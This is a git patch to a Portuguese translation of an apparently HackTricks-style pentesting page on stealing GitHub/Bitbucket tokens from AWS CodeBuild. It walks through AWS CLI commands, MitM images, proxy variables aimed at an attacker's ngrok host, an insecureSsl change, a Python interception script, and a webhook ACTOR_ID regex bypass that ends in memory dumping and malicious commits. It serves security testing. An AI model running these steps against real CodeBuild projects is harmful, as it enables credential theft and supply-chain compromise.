From 9bf82cc30c1df72b7a3544add647c1383282b545 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 15:11:12 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-codebuild-token-leakage.md | 83 +++++++++++-------- 1 file changed, 50 insertions(+), 33 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 86e70756e..da22bd099 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,41 +2,41 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recuperar Tokens Configurados do Github/Bitbucket +## Recuperar tokens configurados do Github/Bitbucket -Primeiro, verifique se há credenciais de origem configuradas que você poderia vazar: +Primeiro, verifique se existem credenciais de origem configuradas que você poderia leak: ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### Via imagem Docker -Se você descobrir que a autenticação para, por exemplo, Github está configurada na conta, você pode **exfiltrar** esse **acesso** (**token GH ou token OAuth**) fazendo com que o Codebuild **use uma imagem docker específica** para executar a construção do projeto. +Se você descobrir que a autenticação para, por exemplo, Github está configurada na conta, você pode exfiltrar esse acesso (GH token ou OAuth token) fazendo o Codebuild usar uma imagem Docker específica para executar o build do projeto. -Para isso, você poderia **criar um novo projeto Codebuild** ou alterar o **ambiente** de um existente para definir a **imagem Docker**. +Para isso você pode criar um novo Codebuild project ou alterar o environment de um existente para definir a Docker image. -A imagem Docker que você poderia usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker muito básica que irá definir as **variáveis de ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em **`https_proxy`** e **`http_proxy`** e confie no SSL CERT indicado em **`SSL_CERT_FILE`**. +A Docker image que você pode usar é [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta é uma imagem Docker bem básica que vai setar as env variables `https_proxy`, `http_proxy` e `SSL_CERT_FILE`. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em `https_proxy` e `http_proxy` e confie no certificado SSL indicado em `SSL_CERT_FILE`. -1. **Crie e faça upload da sua própria imagem Docker MitM** -- Siga as instruções do repositório para definir o endereço IP do seu proxy e configurar seu certificado SSL e **construa a imagem docker**. -- **NÃO DEFINA `http_proxy`** para não interceptar solicitações ao endpoint de metadados. -- Você poderia usar **`ngrok`** como `ngrok tcp 4444` para definir o proxy para o seu host. -- Uma vez que você tenha a imagem Docker construída, **faça upload para um repositório público** (Dockerhub, ECR...) -2. **Defina o ambiente** -- Crie um **novo projeto Codebuild** ou **modifique** o ambiente de um existente. -- Defina o projeto para usar a **imagem Docker gerada anteriormente**. +1. **Create & Upload your own Docker MitM image** +- Siga as instruções do repo para setar o proxy IP e o SSL cert e **build the docker image**. +- **DO NOT SET `http_proxy`** para não interceptar requests ao endpoint de metadata. +- Você pode usar **`ngrok`** como `ngrok tcp 4444` para setar o proxy para o seu host +- Uma vez que a Docker image estiver construída, **upload it to a public repo** (Dockerhub, ECR...) +2. **Set the environment** +- Crie um **new Codebuild project** ou **modify** o environment de um existente. +- Configure o projeto para usar a **previously generated Docker image**
-3. **Defina o proxy MitM no seu host** +3. **Set the MitM proxy in your host** -- Como indicado no **repositório do Github**, você poderia usar algo como: +- Como indicado no **Github repo** você pode usar algo como: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> A **versão do mitmproxy utilizada foi 9.0.1**, foi relatado que com a versão 10 isso pode não funcionar. +> A **mitmproxy version used was 9.0.1**, foi reportado que com a versão 10 isso pode não funcionar. -4. **Execute a construção e capture as credenciais** +4. **Execute o build e capture as credenciais** - Você pode ver o token no cabeçalho **Authorization**: @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -**Codebuild** projects têm uma configuração chamada **`insecureSsl`** que está oculta na web e você só pode alterá-la pela API.\ -Ativar isso permite que o Codebuild se conecte ao repositório **sem verificar o certificado** oferecido pela plataforma. +**Codebuild** projetos têm uma configuração chamada **`insecureSsl`** que está oculta na interface web e só pode ser alterada pela API.\ +Habilitar isso permite que o Codebuild se conecte ao repositório **sem verificar o certificado** oferecido pela plataforma. -- Primeiro, você precisa enumerar a configuração atual com algo como: +- Primeiro você precisa enumerar a configuração atual com algo como: ```bash aws codebuild batch-get-projects --name ``` -- Então, com as informações coletadas, você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. O seguinte é um exemplo de como atualizei um projeto, note o **`insecureSsl=True`** no final (esta é a única coisa que você precisa mudar na configuração coletada). -- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para o seu tcp ngrok como: +- Em seguida, com as informações coletadas você pode atualizar a configuração do projeto **`insecureSsl`** para **`True`**. A seguir está um exemplo de como atualizei um projeto; observe **`insecureSsl=True`** no final (esta é a única coisa que você precisa alterar na configuração coletada). +- Além disso, adicione também as variáveis de ambiente **http_proxy** e **https_proxy** apontando para seu ngrok tcp como: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Em seguida, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta indicada pelas variáveis de proxy (http_proxy e https_proxy) +- Então, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta indicada pelas variáveis de proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Finalmente, clique em **Build the project**, as **credenciais** serão **enviadas em texto claro** (base64) para a porta mitm: +- Finalmente, clique em **Build the project**, as **credentials** serão **enviadas em texto claro** (base64) para a porta mitm:
-### ~~Via HTTP protocol~~ +### ~~Via protocolo HTTP~~ -> [!TIP] > **Essa vulnerabilidade foi corrigida pela AWS em algum momento da semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Portanto, um atacante não pode mais abusar disso :)** +> [!TIP] > **Essa vulnerabilidade foi corrigida pela AWS em algum momento na semana do dia 20 de fev de 2023 (acho que na sexta). Então um atacante não pode abusar mais dela :)** -Um atacante com **permissões elevadas em um CodeBuild poderia vazar o token do Github/Bitbucket** configurado ou, se as permissões foram configuradas via OAuth, o **token OAuth temporário usado para acessar o código**. +Um atacante com **permissões elevadas em um CodeBuild poderia leak o token do Github/Bitbucket** configurado ou, se as permissões foram configuradas via OAuth, o **token OAuth temporário usado para acessar o código**. -- Um atacante poderia adicionar as variáveis de ambiente **http_proxy** e **https_proxy** ao projeto CodeBuild apontando para sua máquina (por exemplo, `http://5.tcp.eu.ngrok.io:14972`). +- Um atacante poderia adicionar as variáveis de ambiente **http_proxy** e **https_proxy** ao projeto CodeBuild apontando para sua máquina (por exemplo `http://5.tcp.eu.ngrok.io:14972`).
-- Em seguida, mude a URL do repositório do github para usar HTTP em vez de HTTPS, por exemplo: `http://github.com/carlospolop-forks/TestActions` -- Em seguida, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta apontada pelas variáveis de proxy (http_proxy e https_proxy) +- Em seguida, altere a URL do github repo para usar HTTP em vez de HTTPS, por exemplo: `http://github.com/carlospolop-forks/TestActions` +- Depois, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta apontada pelas variáveis de proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Em seguida, clique em **Build the project** ou inicie a construção a partir da linha de comando: +- Em seguida, clique em **Construir o projeto** ou inicie a compilação a partir da linha de comando: ```sh aws codebuild start-build --project-name ``` @@ -167,6 +167,23 @@ aws codebuild start-build --project-name
> [!WARNING] -> Agora um atacante poderá usar o token de sua máquina, listar todos os privilégios que possui e (ab)usar mais facilmente do que usando o serviço CodeBuild diretamente. +> Agora um atacante poderá usar o token a partir da sua máquina, listar todos os privilégios que ele tem e (ab)usar mais facilmente do que usando o serviço CodeBuild diretamente. + +## Bypass da allowlist de regex ACTOR_ID no filtro de webhook (builds privilegiados acionados por PR) + +Webhooks do CodeBuild para GitHub mal configurados que usam regexes `ACTOR_ID` sem âncoras permitem que PRs *não confiáveis* iniciem builds privilegiados. Se a allowlist for algo como `123456|7890123` sem `^`/`$`, qualquer ID contendo uma dessas substrings corresponde. Como os IDs de usuário do GitHub são sequenciais, um atacante pode competir para registrar um ID “eclipsing” (uma superstring de um ID confiável) e acionar o build. + +**Caminho de exploração** + +1. Encontre projetos CodeBuild públicos expondo filtros de webhook e extraia uma allowlist `ACTOR_ID` sem âncoras. +2. Obtenha um eclipsing GitHub ID: +- Amostre o contador global de IDs criando/deletando orgs do GitHub (org IDs compartilham o mesmo pool). +- Pré-prepare muitas criações de manifest de GitHub App e dispare as confirmation URLs quando o contador estiver dentro de ~100 IDs do alvo para registrar em rajada um bot ID contendo a substring confiável. +3. Abra um PR a partir da conta eclipsing; a regex corresponde à substring e o build privilegiado é executado. +4. Use RCE durante o build (por exemplo, hooks de instalação de dependências) para despejar a memória do processo que manipula a credencial do GitHub e recuperar o token PAT/OAuth. +5. Com o token com scope `repo`, convide sua conta como collaborator/admin e faça push/approve de commits maliciosos ou exfiltrate secrets. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}